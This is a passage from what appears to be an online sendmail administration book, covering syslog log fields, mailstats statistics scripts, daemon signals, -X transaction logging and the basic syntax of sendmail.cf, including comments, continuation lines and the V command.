proto= | Section 26.1.3.8, "proto= the protocol used in transmission" | The protocol used in transmission
relay= | Section 26.1.3.9, "relay= the host that sent or accepted the message" | The host that sent or accepted the message
size= | Section 26.1.3.10, "size= the size of the message" | The size of the message
stat= | Section 26.1.3.11, "stat= status of delivery" | Status of delivery
to= | Section 26.1.3.12, "to= show final recipient" | The final recipient
xdelay= | Section 26.1.3.13, "xdelay= transaction" | Transaction delay for this address only

26.1.3.1 class= the queue class

If the mail message contained a Precedence: header (see Section 35.8, "Precedence"), the class= reflects sendmail's interpretation of the keyword that follows that header. For example, given the configuration command

PPlist=-30

The following header will yield a class= value of -30:

Precedence: list

If no Precedence: header is present in the message, the value shown for class= is zero. The class= is shown only for sender records.

26.1.3.2 delay= total time to deliver

A mail message can be delivered immediately, without ever having been queued, or it can be queued and retried over and over again until it either times out or succeeds. The delay= shows the total amount of time the message took to be delivered. This period of time starts when sendmail first receives the message and ends when the message is finally delivered or bounced. This interval is displayed with the delay= syslog line equate:

delay=days+HH:MM:SS

The time expression shows the time it took in hours (HH), minutes (MM), and seconds (SS) to handle delivery or rejection of the message. If the delay exceeds 24 hours, the time expression is prefixed with the number of days and a plus character. For example, the following message took 5 seconds to deliver or bounce:

delay=00:00:05

The following message took 4 days, 2 hours, 16 minutes, and 2 seconds to deliver or bounce:

delay=4+02:16:02

Note that the delay= equate is shown only for recipient records.

26.1.3.3 from= show envelope sender

The envelope sender may or may not appear in any of the sender headers. The from= syslog line equate shows the envelope sender:

from=addr

The addr is the address of the envelope sender with any RFC822 commentary (see Section 35.3.4, "Comments in the Header Field") removed. This will usually be the address of an actual person, but it can also be postmaster or the value of the $n macro in the case of a bounced message. The from= equate is shown only for sender records.

26.1.3.4 mailer= the delivery agent used

The sendmail program does not perform the actual delivery of mail. Instead, it calls other programs (called mail delivery agents) to perform that service. The mailer= equate shows the symbolic name (see Section 30.1, "Configuration File Syntax") of the delivery agent that was used to perform delivery to the recipient"

mailer=agent

A list of symbolic names assigned to delivery agents can be viewed with the -d0.15 debugging switch (see Section 37.5.4, -d0.15). The mailer= equate is shown only for recipient records.

26.1.3.5 msgid= the Message-ID: identifier

RFC822 requires that each email message have a unique worldwide identifier associated with it. That identifier is listed with the Message-ID: header (see Section 35.10.19, Message-ID:) and often looks something like this:

Message-Id: <199605051122.VAA07923@here.us.edu>

The information inside, and including, the angle brackets is the message identifier. That identifier is what is listed with the msgid= equate:

msgid=<199605051122.VAA07923@here.us.edu>

If a mail message arrives without a Message-ID: header, and if your configuration file correctly includes a definition for that header, a new identifier will be created and listed with msgid=. If a Message-ID: header is absent, and if your configuration file incorrectly excludes a definition for that header, the msgid= equate will be excluded from the syslog report.

The msgid= equate is shown only for sender records.

26.1.3.6 nrcpts= the number of recipients

The nrcpts= equate shows the number of recipients after all aliasing has been performed. If the original message was addressed to root, if root was aliased like this:

root: bob, hans

and if bob's ~/.forward file contained this:

\bob
|"/usr/ucb/vacation bob"

then the nrcpts= equate would show three recipients.

Note that nrcpts= is included only with the sender record and that record is emitted when the message is first processed. Any later changes in aliasing that may happen while the message is queued are not reported. Aliasing on remote machines (as would be the case with exploder mailing lists) is also not reported for obvious reasons.

26.1.3.7 pri= the initial priority

The pri= equate shows the initial priority assigned to the message (see Section 35.8). This value is calculated once when the message is first processed and changed each time the queued file is tried. This pri= equate shows the initial value.

The pri= syslog equate is displayed only for the sender.

26.1.3.8 proto= the protocol used in transmission

The $r macro (see Section 31.10.31, $r) holds as its value the protocol that was used when a mail message was first received. That value is either SMTP, ESMTP, or internal or is a protocol assigned with the -p command-line switch (see Section 36.7.32, -p). If $r lacks a value, this proto= equate is omitted. If $r has a value, the first 20 characters of that value are printed following the proto= in the syslog line:

proto=ESMTP

26.1.3.9 relay= the host that sent or accepted the message

When running as a daemon and listening for incoming connections, sendmail attempts to look up the true identity of connecting users and hosts. When it can find that information, it saves it in the $_ macro (see Section 31.10.1, $-).

When transporting mail to other hosts, sendmail looks up the MX records for those hosts and connects to the MX records when they are available. If MX records are not available, sendmail connects to the hostname that is specified in the recipient address.

If the $_ information is available, that information appears following the relay= equate:

relay=root@other.site.edu [123.45.67.89]

If the sender is a local user, the login name and localhost will appear in the relay= equate:

relay=bob@localhost

Otherwise, the canonical name of the host that actually accepted delivery will appear here:

relay=mx.host.domain [123.45.67.89]

In summary, the relay= equate shows who really accepted or sent the message. The relay= syslog equate is included with both sender and recipient records.

26.1.3.10 size= the size of the message

The size of an incoming SMTP message is the number of bytes sent during the DATA phase (see Section 34.8.70.5, "Timeout.datainit"), including end-of-line characters. The size of a message received via sendmail's standard input is a count of the bytes received, including the newline characters. In both instances the size is displayed with the size= equate:

size=23

Note that this size is reported before sendmail adds or deletes any headers. Therefore for mail being relayed through a site, the size will usually be small coming in and somewhat larger going out.

The size= syslog equate is produced only for sender records.

26.1.3.11 stat= status of delivery

Whenever the delivery status of a mail message changes, sendmail logs the event and includes the status= to specify why the change happened. For example, a mail message may initially be queued because the recipient's host was down:

stat=queued

Later it might change again because it succeeded in being delivered:

stat=Sent (HAA03001 Message accepted for delivery)

In transmitting a mail message via SMTP the stat= will include the actual text that the other host printed when it accepted the mail message, as shown above. But in delivering locally, the stat= is more succinct:

stat=Sent

In the case of bounced mail the stat= will show the reason for failure:

stat=User unknown

The stat= syslog equate is included only in recipient records.

26.1.3.12 to= show final recipient

As each recipient is delivered to, deferred, or bounced, sendmail logs a line of information that includes the recipient address:

to=bob@here.us.edu

Each such address is that of a final recipient (from the point of the view of the local host) after all aliasing, list expansions, and processing of ~/.forward files.

26.1.3.13 xdelay= transaction

The xdelay= equate shows the total amount of time the message took to be transmitted during final delivery. This differs from delay= in that delay= is computed from when the message was originally received (and can be days), whereas this xdelay= shows how fast the receiving host was (and is usually seconds).

In the case of SMTP mail the xdelay= computation starts when sendmail successfully connects to the remote host. In the case of locally delivered mail the computation starts when sendmail executes the delivery agent. The computation ends when the dot is accepted at the close of the DATA SMTP phase or when the local delivery agent exits.

The form of the xdelay= looks like this:

xdelay=HH:MM:SS

The time expression shows the hours (HH), minutes (MM), and seconds (SS) it took to perform delivery via the final delivery agent. In the case of networked mail that interval can be long:

xdelay=00:41:05

But in the case of locally delivered mail this interval can seem instantaneous:

xdelay=00:00:00

Note that the xdelay= equate is shown only for recipient records.

26.1.4 Gathering Statistics from syslog

The log files that syslog creates provide a wealth of information that can be used to examine and tune the performance of sendmail. To illustrate, we will present a simple shell script for printing daily total message volume.

In the following discussion we will assume that sendmail logging is enabled (the LogLevel (L) option, see Section 34.8.33, is nonzero) and that all syslog(8) messages for the facility mail at level LOG_INFO are being placed into the file /var/log/syslog.

26.1.4.1 message_volume.sh

Each mail message that sendmail receives for delivery (excluding those processed from the queue) causes sendmail to log a message like this:

date host sendmail[pid]: quid: from=sender, size=bytes, ...

That is, for each sender that is logged (the from=), sendmail also logs the total received size of the message in bytes (the size=).

By summing all the size= lines in a /var/log/syslog file, we can generate the total volume of all messages received for the period represented by that file. One way to generate such a total is shown in the following Bourne shell script:

#!/bin/sh
LOG=/var/log/syslog
TOTAL=`(echo 0;
        sed -e '/size=/!d' -e 's/.*size=//' -e 's/,.*/+/' $LOG;
        echo p;
       ) | dc`
echo Total characters sent: $TOTAL

The sed(1) selects only the lines in /var/log/syslog that contain the expression size=. [1] It then throws away all but the number immediately following each size= (the actual number of bytes of each message), and appends a + to each.

[1] If other programs also put size= expressions into the log file, you may also want to screen for "sendmail."

The entire sequence of processes is enclosed in parentheses. An echo statement first prints a zero. Then the list of +-suffixed sizes is printed. Finally, another echo prints a character p. The resulting combined output might look like this:

123+
456+
7890+
p

The leading 0, the + suffixes, and the final p are commands for the dc(1) program, which adds up all the numbers (the + suffixes) and prints the total (the p). That total is saved in the variable TOTAL for later use in the final echo statement. The output of this simple script might look something like this:

Total characters sent: 8469

More sophisticated scripts are possible, but the Bourne shell's lack of arrays suggest that perl(1) would provide a more powerful scripting environment. Most of the scripts that are available publicly are written in the perl scripting language.

Previous: 25.8 Pitfalls | sendmail | Next: 26.2 Statistics
25.8 Pitfalls | Book Index | 26.2 Statistics


[Chapter 26] 26.2 Statistics

sendmailSearch this book
Previous: 26.1 Logging with syslog Chapter 26
Logging and Statistics 		Next: 26.3 Signaling the Daemon

26.2 Statistics

The sendmail program provides the ability to gather information that can be used to produce valuable statistics. As you will see, the StatusFile (S) option (see Section 34.8.66, StatusFile (S)) is used to specify a file into which delivery agent statistics can be saved. The mailstats(1) program (see Section 26.2.2, "Viewing Statistics: mailstats") prints a summary of those statistics.

26.2.1 The sendmail.st File

The sendmail program can maintain an ongoing record of the total number and total sizes of all outgoing and incoming mail messages handled by each delivery agent. This ability is enabled by using the StatusFile (S) option (see Section 34.8.66):

OS/path                     <-  prior to V8.7
O StatusFile=/path          <-  beginning with V8.7

The /path is the full pathname of the file into which statistics are saved. Most vendors provide configuration files that specify /path as

/etc/sendmail.st

Just declaring the StatusFile (S) option is not enough, however, for if the file does not exist (or if it is unwritable), sendmail silently ignores that option and does not save statistics. You must also create the empty file

% touch /etc/sendmail.st

Note that the gathering of statistics can later be turned off merely by renaming or removing the file.

If the StatusFile (S) option has not already been declared, you need to declare it and then kill and restart the sendmail daemon for that declaration to take effect.

26.2.2 Viewing Statistics: mailstats

The mailstats program is supplied with sendmail to provide a convenient way to print the contents of the sendmail.st file. The output of the mailstats program varies depending on the version of sendmail installed. For V8.8 sendmail the output looks like this:

Statistics from Fri May 10 11:23:55 1996
 M msgsfr bytes_from  msgsto   bytes_to  Mailer
 1      0          0K     43       5913K  *file*
 3     26        546K     96        639K  local
 4    421       2996K   3271      78233K  smtp
========================================
 T    447       3542K   3410      84785K

The first line shows the time the statistics file was begun. The lines that follow show the number of messages and the total size in kilobytes of those messages both received (msgsfr) and sent (msgsto) for each delivery agent. The M column shows the index into the internal array of delivery agents, and the Mailer shows the symbolic name. The last line shows totals. Note that if a delivery agent handled no traffic, it is excluded from the report.

26.2.3 Using cron for Daily and Weekly Statistics

The mailstats program prints the contents of the sendmail.st file, but it does not zero the counters in that file. To clear (zero) that file, you need to truncate it. One easy way to truncate the sendmail.st file is

% cp /dev/null /etc/sendmail.st

When sendmail discovers an empty sendmail.st file, it begins gathering statistics all over again. One use for truncation is to collect daily reports from mailstats. Consider the following simple shell script:

#!/bin/sh
ST=/etc/sendmail.st
MS=/usr/ucb/mailstats
if [ -s $ST -a -f $MS ]; then
        $MS | mail -s "Daily mail stats" postmaster
        cp /dev/null $ST
fi
exit 0

When run, this script checks to see whether a nonempty sendmail.st file and program mailstats exist. If they do, mailstats is run, printing the statistics, which are then mailed to postmaster. The sendmail.st file is then truncated to a size of zero. Such a script could be run once per night using the cron(8) facility with a crontab(5) entry like this:

0 0 * * * sh /usr/ucb/mailstats.script >/dev/null 2>&1

Here, mailstats.script is the name given to the above shell script, and the 0 0 causes that script to be executed once per day at midnight.

Some versions of mailstats allow you to specify a different location for the statistics file. The form of that specification varies with the version of sendmail being run (see mailstats(8)). Yours may look like one of the following:

% mailstats /var/log/statlog
% mailstats -f /var/log/statlog          <-  V8 uses this form

If your version of mailstats allows a different location (and name) for the statistics file, you can move that file to the new location by revising the StatusFile (S) option in the sendmail program's configuration file:

OS/var/log/statlog

Note that V8 mailstats(8) automatically parses the configuration file to find the location of its statistics file.

Moving and renaming the statistics file allows one to automatically collect daily copies of that file. Consider the following variation on the previous shell script:

#!/bin/sh
DIR=/var/log
ST=statlog
MS=/usr/ucb/mailstats
if [ -d $DIR ]; then
        cd $DIR
        if [ -s $ST -a -f $MS ]; then
                test -f ${ST}.5 && mv ${ST}.5 ${ST}.6
                test -f ${ST}.4 && mv ${ST}.4 ${ST}.5
                test -f ${ST}.3 && mv ${ST}.3 ${ST}.4
                test -f ${ST}.2 && mv ${ST}.2 ${ST}.3
                test -f ${ST}.1 && mv ${ST}.1 ${ST}.2
                test -f ${ST}.0 && mv ${ST}.0 ${ST}.1
                test -f ${ST}   && mv ${ST}   ${ST}.0
                touch ${ST}
                $MS -f $DIR/${ST}.0 | mail -s "Daily mail stats" postmaster
        fi
fi
exit 0

As before, the statistics are mailed to postmaster. But instead of being truncated, the sendmail.st file is renamed sendmail.st.0. A series of renames (mv(1)) are used to maintain a week's worth of copies. These copies allow the ambitious administrator to create a program for gathering weekly summaries from seven archived daily copies.

Previous: 26.1 Logging with syslog | sendmail | Next: 26.3 Signaling the Daemon
26.1 Logging with syslog | Book Index | 26.3 Signaling the Daemon


[Chapter 26] 26.3 Signaling the Daemon

sendmailSearch this book
Previous: 26.2 Statistics Chapter 26
Logging and Statistics 		Next: 26.4 Log Transactions with -X

26.3 Signaling the Daemon

The sendmail program recognizes three signals that cause it to perform certain actions. SIGINT causes sendmail to clean up after itself and exit. Beginning with V8.7, SIGHUP causes sendmail to re-execute itself (thus restarting and reading its configuration file anew). Also beginning with V8.7, SIGUSR1 causes sendmail to log its file descriptors and other information.

26.3.1 SIGINT Cleanup and Exit

Whenever sendmail gets a SIGINT signal (as would be the case if the system were being shut down), it tries to exit cleanly.

First it unlocks any queued file it is processing. This has the effect of canceling delivery so that the message will be tried again when the system comes back up. Then sendmail resets its identity to the identity it originally ran under. This causes accounting records to correctly show that the same user sendmail started as has exited. Finally, sendmail exits with EX_OK, no matter what, so that errors will not be produced during shutdown.

As a final note, beginning with V8.7, SIGINT is ignored when sendmail is running in rule-testing mode with -bt.

26.3.2 SIGHUP Restart

Beginning with V8.7, a SIGHUP signal will cause sendmail to re-execute itself with its original command line. This works only if it is running in daemon mode (with -bd; see Section 36.7.5, -bd). For example, consider initially running sendmail like this:

# /usr/lib/sendmail -bd -q1h

Then imagine that you changed something in the configuration file and wanted the running daemon to reread that file. You could cause that to happen by killing the currently running daemon with a SIGHUP signal:

# kill -HUP `head -1 /etc/sendmail.pid`

This will cause sendmail to execute the command

/usr/lib/sendmail -bd -q1h

The original daemon exits, and the newly executed daemon replaces it.

Be aware that this works only if you run sendmail using a full pathname. If you use a relative path, an attempt to restart sendmail with SIGHUP will fail, and the following warning will be logged at LOG_ALERT:

could not exec bad command line here: reason

This is a very serious situation because it means that your original daemon has exited and no new daemon ran to replace it.

26.3.3 SIGUSR1 Dump States

Beginning with V8.6.5, sendmail responds to a SIGUSR1 signal. This signal causes sendmail to syslog at LOG_DEBUG the several items that define its state. [2] That syslog output begins with a line that looks like this:

[2] This same information is syslog'd if the daemon looses track of $j in $=w and if $j becomes or is not fully qualified.

-- dumping state on reason: $j = val --

where reason can be any one of the following: siguser1 The information has been logged because sendmail received a SIGUSR1 signal. In this instance the daemon logs the information and continues to run.

daemon lost $j

The information has been logged because a running daemon discovered that the value in $j (the canonical name of this host; see Section 31.10.20, $j) disappeared from the class $=w (the list of all names by which the local host is known; see Section 32.5.8, $=w). This test is made and this information is logged only if sendmail was compiled with XDEBUG defined (see Section 18.8.57, XDEBUG). In this instance the daemon logs the information and aborts.

daemon $j lost dot

The information has been logged because a running daemon discovered that the value in $j (the canonical name of this host; see Section 31.10.20) was no longer canonical (no longer contained a dot inside it). This test is made and this information is logged only if sendmail was compiled with XDEBUG defined (see Section 18.8.57). In this instance the daemon logs the information and aborts.

Whichever the reason, the information that is logged for each looks pretty much the same; for example,

-- dumping state on when: $j = val --
 CurChildren =num
 -- open file descriptors: --
                                      <-  output of dumpfd() here
 -- connection cache: --
                                      <-  output of mci_dump() here
 -- ruleset debug_dumpstate returns stat ret, pv: --
                                      <-  output of rule set debug_dumpstate here
 -- end of state dump --

We have described the first line already. If for some reason $j is missing from $=w, that line will be followed by

*** $j not in $=w ***

The second line simply shows the number of children the daemon has forked and currently has out doing other work in parallel with itself. That line is followed by three sections of information. The first two sections are always output; the third is output only if rule set debug_dumpstate exists.

26.3.3.1 -- open file descriptors: --

Each open file descriptor is displayed along with its current properties. These lines of output can be numerous. In general form, they look like this:

num: fl=flags mode=mode type stats

Here, the num is the number of the open file descriptor. The other information in this line is described in detail in our discussion of the -d2.9 debugging switch (see Section 37.5.13, -d2.9).

26.3.3.2 -- connection cache: --

When sending mail, outgoing connections are maintained for efficiency, and information about those connections is cached. Before connecting to a remote host, for example, sendmail checks its cache to see whether that host is down. If it is, it skips connecting to that host.

This output is highly detailed and very complicated. See the -d11.1 debugging switch (Section 37.5.44, -d11.1) for a full description.

26.3.3.3 -- ruleset debug_dumpstate returns stat ..., pv: --

If rule set debug_dumpstate [3] is defined in your configuration file, it will be called here, and the above line of output will be printed. The stat is the numeric representation of the code returned by sendmail's internal rewrite() routine. That code will be either EX_OK (0) if there were no parsing errors, EX_CONFIG (78) if there were, or EX_DATAERR (65) if there was a fatal error (such as too much recursion or a replacement was out of bounds). Text describing the error is also logged and will appear in this output.

[3] In V8.7 sendmail this is rule set 89. Beginning with V8.8 sendmail, rule sets 80 through 89 are reserved for use by vendors, such as Sun Microsystems.

Rule set debug_dumpstate is called with an empty workspace. After rule set debug_dumpstate is done, each token in the resulting new workspace is printed one per line. This gives you a hook into the internals of sendmail, enabling you to display information that might otherwise be invisible. For example, consider the desire to display identd information, the current sender's address, and the current queue identifier:

Sdebug_dumpstate
R$*     $@ $&_ $&s $&i

Here, the $* in the LHS matches the zero tokens passed to rule set debug_dumpstate. The $@ prefix in the RHS suppresses recursion. Each of the three macros that follows is stated with a $& prefix (see Section 31.5.3, "Use Value as Is with $&") that prevents each from being prematurely expanded when the configuration file is first read.

Another example might involve the need to look up the current recipient's host with DNS:

Sdebug_dumpstate
R$*     $@ $[ $&h $]

The $[ and $] operators (see Section 28.6.6, "Canonicalize Hostname: $[ and $]") cause the hostname appearing between them to be looked up with DNS and replaced with its full canonical name. Again, the macro h is prefixed with $& to prevent premature expansion.

In general, rule set debug_dumpstate should be excluded from your configuration file. When a problem does appear, you can define it, restart the daemon, and then wait for the problem to reoccur. When it does, kill sendmail with a SIG_USR1 and examine the syslog result.

Do not be tempted to use rule set debug_dumpstate for routine logging of specialty information. Forcing rules to be processed with a signal is fraught with danger. The current active rule set can, for example, be clobbered in possibly unrecoverable ways. Use this rule set debug_dumpstate technique only to solve specific problems, then erase it when the problem is solved.

Previous: 26.2 Statistics | sendmail | Next: 26.4 Log Transactions with -X
26.2 Statistics | Book Index | 26.4 Log Transactions with -X


[Chapter 26] 26.4 Log Transactions with -X

sendmailSearch this book
Previous: 26.3 Signaling the Daemon Chapter 26
Logging and Statistics 		Next: 26.5 Pitfalls

26.4 Log Transactions with -X

Beginning with V8.2 sendmail, the -X command-line switch can be used to record all input and output, SMTP traffic, and other significant transactions. The form of the -X (transaction) command-line switch looks like this:

-X file

Space between the -X and the file is optional. The file may be specified as either as a full or a relative pathname. For security the -X command-line switch always causes sendmail to give up its root privilege unless it was run by root. If the transaction file cannot be opened for writing, the following error is printed and no logging is done:

cannot open file

Otherwise, the file is opened in append mode, and each line that is written to it looks like this:

pid what detail

The pid is the process identification number of the sendmail that added the line. The what is one of these three symbols:

<<<

This is input. It is either text that is read on the standard input or parts of an SMTP dialog that were read on a socket connection.

>>>

This is output. It is either something that sendmail printed to its standard output, or something that it sent over an SMTP connection.

===

This is an event. The only two events that are currently logged are CONNECT for connection to a host and EXEC for execution of a delivery agent.

To illustrate, consider sending a mail message to yourself and to a friend at another site:

% /usr/lib/sendmail -X /tmp/xfile -oQ/tmp yourself,friend@remote.host
To: yourself,friend@remote.host
Subject: test

This is a test.
.

These few lines of input produce a long /tmp/xfile. The first few lines of that file are illustrative:

29559 <<< To: yourself,friend@remote.host
29559 <<< Subject: test
29559 <<<
29559 <<< This is a test.
29559 <<< .
29561 === CONNECT remote.host
29561 <<< 220 remote.host ESMTP Sendmail 8.7.5; Sun, 12 May 1996 08:06:47 -0600 (MDT)
29561 >>> EHLO your.host
29561 <<< 250-remote.host Hello you@your.host [206.54.76.122], pleased to meet you
29561 <<< 250-8BITMIME
29561 <<< 250-SIZE
29561 <<< 250-DSN
29561 <<< 250-VERB
29561 <<< 250-ONEX
29561 <<< 250 HELP
29561 >>> MAIL From:<your@your.host> SIZE=65
29561 <<< 250 <your@your.host>... Sender ok
29561 >>> RCPT To:<friend@remot.host>
29561 <<< 250 Recipient ok
29561 >>> DATA
29561 <<< 354 Enter mail, end with "." on a line by itself
29561 >>> The first line of data here,
29561 >>> the second line of data here,
29561 >>> and so on.

Notice that the process ID changes. After sendmail collects the message, it fork(2)s and exec(2)s to handle the actual delivery.

Because these transaction files include message bodies, they should be guarded. Never use the -X switch with the daemon unless you are prepared for a huge file and the possibility of disclosing message contents to nonprivileged users.

Previous: 26.3 Signaling the Daemon | sendmail | Next: 26.5 Pitfalls
26.3 Signaling the Daemon | Book Index | 26.5 Pitfalls


[Chapter 26] 26.5 Pitfalls

sendmailSearch this book
Previous: 26.4 Log Transactions with -X Chapter 26
Logging and Statistics 		Next: IV. Reference

26.5 Pitfalls

  • The syslog(3) library uses datagram sockets for passing information to other hosts. As a consequence, there is no guarantee that all logged information will be received by those other hosts.

  • When using m4, exercise care to avoid using m4 keywords in unexpected places. For example, attempting to notify a user named dnl in the syslog.conf file causes that name and all the text following on the same line to be lost.

  • Prior to V8, sendmail used no record or file locking with the StatusFile (S) option's statistics file. As a consequence, it was not guaranteed to contain 100 percent accurate information. As another consequence, statistics files should never be shared among multiple hosts using remote file systems.

  • Care should be exercised in using the -X switch as root. No check is made to ensure that the transaction logging file makes sense. It is possible to make a typo and accidently append transaction data to the wrong file or device.

Previous: 26.4 Log Transactions with -X | sendmail | Next: IV. Reference
26.4 Log Transactions with -X | Book Index | IV. Reference


[Chapter 27] The Configuration File

sendmailSearch this book
Previous: IV. Reference Chapter 27 Next: 27.2 Comments

27. The Configuration File

Contents:
Overall Syntax
Comments
V8 Comments
Continuation Lines
The V Configuration Command
Pitfalls

The sendmail configuration file is usually called sendmail.cf. It provides all the central information that controls the sendmail program's behavior. Among the key pieces of information provided are the following:

  • The location of all the other files that sendmail needs to access and the location of all the directories in which sendmail needs to create and remove files.

  • The definitions that sendmail uses in rewriting addresses. Some of those definitions can come from files, which are also specified.

  • The mail header lines that sendmail should modify, pass through, and/or augment.

  • The rules and sets of rules that sendmail uses for transforming mail addresses (and aliases for those addresses) into usable information, such as which delivery agent to use and the correct form of the address to use with that delivery agent.

The location of the sendmail.cf file is compiled into sendmail. It is usually found in one of the directories /etc, /usr/lib, or /etc/mail. If you are compiling sendmail, you may specify the location of that file yourself by defining _PATH_SENDMAILCF in your Makefile (see Section 18.8.34, PATH...). V8.7 recommends that the sendmail.cf file be located in /etc for consistency. [1] Some vendors, however, prefer other locations. We recommend that one of the standard locations be used unless you have a compelling reason to do otherwise. Nonstandard locations may, for example, make operating system upgrades difficult if you need to revert to prior or vendor versions of sendmail.

[1] Scripts that may be distributed in the future will need the location of the sendmail.cf file to locate other files. If you move the sendmail.cf from its recommended standard location, you will have to modify all such scripts before they can be used.

The configuration file is read and parsed by sendmail every time it starts up. Because sendmail is run every time electronic mail is sent, its configuration file is designed to be easy for sendmail to parse rather than easy for humans to read.

27.1 Overall Syntax

The sendmail.cf file is line-oriented, with one configuration command per line. Each configuration command consists of a single letter [2] that must begin a line. Each letter is followed by other information as required by the purpose of the particular command.

[2] A quick bit of history: Initially, there was almost nothing in the configuration file except R rules (and there was only one rule set). Eric recalls adding M and O fairly quickly. Commands such as K and V came quite late.

In addition to commands, the configuration file may also have lines that begin with a # to form a comment line or with a tab or space character to form a continuation line. A list of all legal characters that may begin a line in the configuration file is shown in Table 27.1.

Table 27.1: sendmail.cf Configuration Commands
Command |  | Version | Description
# | Section 27.2, "Comments" | All | A comment line, ignored
space | Section 27.4, "Continuation Lines" | All | Continue the previous line
tab | Section 27.4 | All | Continue the previous line
C | Section 32.1, "Class Configuration Commands" | All | Define a class macro
D | Section 31.3, "Configuration File Definitions" | All | Define a macro
E | Section 22.2.1, "The E Configuration Command" | 8.7 and above | Environment for agents
F | Section 32.1 | All | Define a class macro from a file or a pipe
H | Section 35.1, "The H Configuration Command" | All | Define a header
K | Section 33.3, "The K Configuration Command" | V8.1 and above | Create a keyed map entry
M | Section 30.1, "Configuration File Syntax" | All | Define a mail delivery agent
O | Section 34.2, "Configuration-File Options" | All | Define an option
P | Section 35.8, "Precedence" | All | Define delivery priorities
R | Section 28.1, "Overview" | All | Define a transformation rule
S | Section 29.1, "The S Configuration Command" | All | Declare a rule-set start
T | Section 22.8.1.1, "Declare trusted users (not V8.1 through V8.6)" | All | Declare trusted users (ignored V8.1-V8.6)
V | Section 27.5, "The V Configuration Command" | V8.1 and above | Version of configuration file

Most configuration commands are so complex that each requires a chapter or two of its own. A few, however, are simple. In this chapter we will describe the simple ones: comments, continuation lines, and the V (version) command.

Previous: IV. Reference | sendmail | Next: 27.2 Comments
IV. Reference | Book Index | 27.2 Comments


[Chapter 27] 27.2 Comments

sendmailSearch this book
Previous: 27.1 Overall Syntax Chapter 27
The Configuration File 		Next: 27.3 V8 Comments

27.2 Comments

Comments provide you with the documentation necessary to maintain the configuration file. Because comments slow sendmail down by only a small amount, it is better to overcomment than to undercomment.

Blank lines and lines that begin with a # character are considered comments and are ignored. A blank line is one that contains no characters at all (except for its terminating newline). Indentation characters (spaces and tabs) are invisible and can turn an apparently blank line into an empty-looking line, which is not ignored:

# text  <-  a comment
tabtext  <-  a continuation line
  <-  a blank line
tab  <-  an "empty-looking line"

Except for V8 sendmail and two special cases, comments occupy the entire line. The two special cases are the R and S configuration commands. The R command is composed of three tab-separated fields, the third field being a comment that does not require a leading # character:

Rlhs      rhs       comment

The pre-V8.7 S command looks only for a number following it and ignores everything else, so it may also be followed by a comment:

S3 this is a comment

No other commands allow comments to follow on the same line:

CWlocalhost mailhost  # This won't work prior to V8

Previous: 27.1 Overall Syntax | sendmail | Next: 27.3 V8 Comments
27.1 Overall Syntax | Book Index | 27.3 V8 Comments


[Chapter 27] 27.3 V8 Comments

sendmailSearch this book
Previous: 27.2 Comments Chapter 27
The Configuration File 		Next: 27.4 Continuation Lines

27.3 V8 Comments

Beginning with V8 sendmail, for configuration files version 3 and above (see Section 27.5), all lines of the configuration file may have optional trailing comments. That is, all text from the first # character to the end of the line is ignored. Any whitespace (space or tab characters) leading up to the # is also ignored:

CWlocalhost mailhost  # This is a comment

                    from here to end of line ignored

To include a # character in a line under V8 sendmail, precede it with a backslash:

DM16\#megs

Note that you do not need to escape the # in the $# operator. The $ has a higher precedence, and $# is interpreted correctly.

Previous: 27.2 Comments | sendmail | Next: 27.4 Continuation Lines
27.2 Comments | Book Index | 27.4 Continuation Lines


[Chapter 27] 27.4 Continuation Lines

sendmailSearch this book
Previous: 27.3 V8 Comments Chapter 27
The Configuration File 		Next: 27.5 The V Configuration Command

27.4 Continuation Lines

A line that begins with either a tab or a space character is considered a continuation of the preceding line. Internally, such continuation lines are joined to the preceding line, and the newline character of that preceding line is retained. Thus, for example,

DZzoos
       lions and bears

line begins with a tab character

is internally joined by sendmail to form

DZzoos\n lions and bears

newline and tab retained.

Both the newline (\n) and the tab are retained. When such a joined line is later used (as in a header), the joined line is split at the newline and prints as two separate lines again.

Previous: 27.3 V8 Comments | sendmail | Next: 27.5 The V Configuration Command
27.3 V8 Comments | Book Index | 27.5 The V Configuration Command


[Chapter 27] 27.5 The V Configuration Command

sendmailSearch this book
Previous: 27.4 Continuation Lines Chapter 27
The Configuration File 		Next: 27.6 Pitfalls

27.5 The V Configuration Command

The V configuration command was added to V8 sendmail to prevent old versions of configuration files from breaking when used with V8 sendmail. The syntax for the V configuration command looks like this:

Vlevel                   <-  V8.1 and above
Vlevel/vendor            <-  V8.6 and above

Here, level is a positive integer, and /vendor is a string. We will cover the vendor part soon.

If level is higher than the maximum allowed for the current version, sendmail prints the following warning and accepts the value:

Warning: .cf version level (lev) exceeds program functionality (max)

If level is less than 0 or if the V configuration command is omitted, the default level is 0.

The effects of the various version levels are relatively minor. As sendmail continues to develop, they may become more pronounced. Currently, the version levels are as follows:

0

The check for a valid shell in /etc/shells is ignored (see Section 22.8.4, "The /etc/shells file").

0-1

MX records are looked up with the RES_DEFNAMES and RES_DNSRCH cleared. The high bit is always stripped from the body of every mail message.

2+

The sendmail program automatically adds a -a. to the "host host" map if that map isn't declared in the configuration file. RES_DEFNAMES and RES_DNSRCH are not turned off as they were for older versions. Rule set 5 behavior is enabled.

0-2

Set UseErrorsTo (l) option (see Section 34.8.74, UseErrorsTo (l)) to true automatically.

2+

Automatically sets the $w macro to be the short name instead of the fully qualified local hostname ($j still contains the fully qualified name and $m the local domain).

3+

You may use the new-style comments.

0-5

For V8.7 and above sendmail, level 5 or lower causes the F=5Aw:|/@ flags to automatically be set for the local deliver agent and the F=o flag to automatically be set for the prog and *file* delivery agents.

0-5

Looking up MX records with HasWildcardMX listed with the ResolverOptions (I) option (see Section 34.8.55, ResolverOptions (I)), causes RES_QUERY to be used in place of RES_SEARCH. Default the ColonOkInAddr option (see Section 34.8.9, ColonOkInAddr) to false.

0-6

Set the SmtpGreetingMessage option (see Section 34.8.65, SmtpGreetingMessage or $e) with the value of $e if $e has a value. Set the OperatorChars option (see Section 34.8.45, OperatorChars or $o) with the value of $o if $o has a value. Beginning with V8.8 sendmail, a level of 6 or less causes the F=q flag (see Section 30.8.36, F=q) for the local, prog, and *file* delivery agents to be automatically set.

7

As of V8.8, the current version.

27.5.1 The vendor

Beginning with V8.6 sendmail, the level for the version command can be followed by the identity of the vendor. The form of that declaration looks like this:

Vlevel/vendor            <-  V8.6 and above

The / must immediately follow the level with no intervening space. There may be arbitrary space between the / and the vendor. The string that is the vendor specification may either be one of the following:

Berkeley

This is a configuration file based on the BSD distribution and is the one you get when you build and install from the source. As of V8.8, this declaration does nothing. If you use this configuration file with another vendor's version of sendmail, the Berkeley tells the other version that you are using a configuration file based on the BSD source.

Sun

